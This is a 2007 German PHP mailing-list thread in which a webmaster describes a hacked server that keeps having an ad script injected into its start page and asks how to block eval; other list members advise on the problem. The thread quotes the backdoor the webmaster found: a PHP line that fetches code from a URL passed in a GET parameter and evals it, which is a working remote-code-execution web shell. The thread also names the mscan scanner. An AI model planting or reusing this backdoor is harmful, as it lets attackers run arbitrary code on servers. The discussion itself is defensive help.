phpbar.de logo

Mailinglisten-Archive

[php] Problem mit Hacker - eval sperren

[php] Problem mit Hacker - eval sperren

Niels Jende njende at njende.de
Mon Jan 22 19:17:34 CET 2007


Yannik Hampe schrieb:
> ANGEL Harald wrote:
>   
>> Hallo phpListe!
>> Ich schreibe heute wegen eines ernsten Problems:
>> Ich habe seit einer Woche einen Hacker auf meinem Webserver, aber mein Provider findet leider nicht heraus, wie er ins System kommt bzw kann mir den Webserver nicht sicher machen.
>> Was der Hacker macht? Er fügt in meine Startseite eine Layerwerbung ein:
>> <script src="http://layer-ads.de/la-33101.js" type="text/javascript"></script>
>> durch die verdient er Geld - was einerseits schon mal eine Frechheit ist, andererseits bleibt dadurch der aufbau meiner Website stehen.
>>
>> Die Datei hat nach dem ändern den User www-data, und wenn ich die Zeile rauslösche ist sie nach 5min wieder drin :(
>> Hab jetzt schon rausgefunden, dass er meine komplette Seite mit seiner ersetz. Wie er das macht, keine Ahnung. Ausschließen kann ich, dass er root Zugriff auf den Server hat.
>>
>> Hab in einem anderen Script folgendes gefunden:
>> //a:9:{s:4:"lang";s:2:"en";s:9:"auth_pass";s:32:"d41d8cd98f00b204e9800998ecf8427e";s:8:"quota_mb";i:0;s:17:
>> "upload_ext_filter";a:0:{}s:19:"download_ext_filter";a:0:{}s:15:"error_reporting";s:0:"";s:7:"fm_root";s:0:"";
>> s:17:"cookie_cache_time";i:1171902116;s:7:"version";s:5:"0.9.3";}
>> if(!empty($_GET['url']))eval(str_replace(Array('<?php', '<?', '?>')
>> ,Array('','','') ,implode('', file(stripslashes($_GET['url'])))));
>> }
>>
>> hab leider keine ahnung, was das macht, auf jeden Fall ist es nicht von mir.
>>     
>
> Kurz: Es ermöglicht jeder Person belibigen php-Quelltext jederzeit auf
> deinem Server auszuführen. Ich frag mich zwar, warum der typ es sich so
> schwer macht und nicht einfach include verwendet, aber die Wirkung
> sollte die Gleiche sein.
>   
>> Habe vom Provider den Befehl "eval" sperren lassen, aber das funktioniert anscheinend nicht.
>> Er hat in die php.ini folgendes eingetragen:
>> disable_functions = show_source, system, shell_exec, passthru, exec, phpinfo, eval, proc_open, escapeshellcmd
>>
>> nur leider funktioniert der Befehl eval noch immer.
>>
>> erste Frage: Was hats da mit dem eval? Kann man den nicht sperren? Wenn doch: Wie?
>>     
>
> Lass dir mal phpinfo() anzeigen. Prüfe nach, ob eval dort WIRKLICH
> deaktiviert ist.
> Es fehlen aber noch ein paar wichtige Infos:
> Geht es hier um einen root-Server? Wenn ja, DANN MACH IHN PLATT. Hol'
> dir alle Daten runter, und installiere das OS komplett neu. Du weisst ja
> nicht, was der Typ alles sonst noch so gemacht haben könnte.
>
>   

wenn er Opfer eines mscans geworden ist, was eine weitere Möglichkeit
wäre, so nützt ihm das diablen von eval eher gar nichts. Der mscan
schickt locker 10SYN Pakete pro Sekunde, da kommen selbst einige dicke
IDS ins trudeln. Auscert schrieb zu dieser Technik:" ...Dieses tool
ermöglicht dem Angreifer ganze Domains oder IP-Adressbereiche auf einmal
zu scannen, um bekannte Sicherheitslücken u.a. dieser Dienste zu
fiinden: statd, nfs, cgi-bin, Anwendungen (handler, phf u cgi-test), X,
POP3, IMAP, DNS, ..."
Dein Angreiefr kann Dich also auf vielfältige Art und Weisen gefunden
und übernommen haben. Aber ohne Tools wid es schwierig.

Wenn ich recht informiert bin, kann mscan oder auch multiscan
mittlerweile die Sicherheitslücken in PHP scannen und ausnutzen.

hth
Niels

php::bar PHP Wiki   -   Listenarchive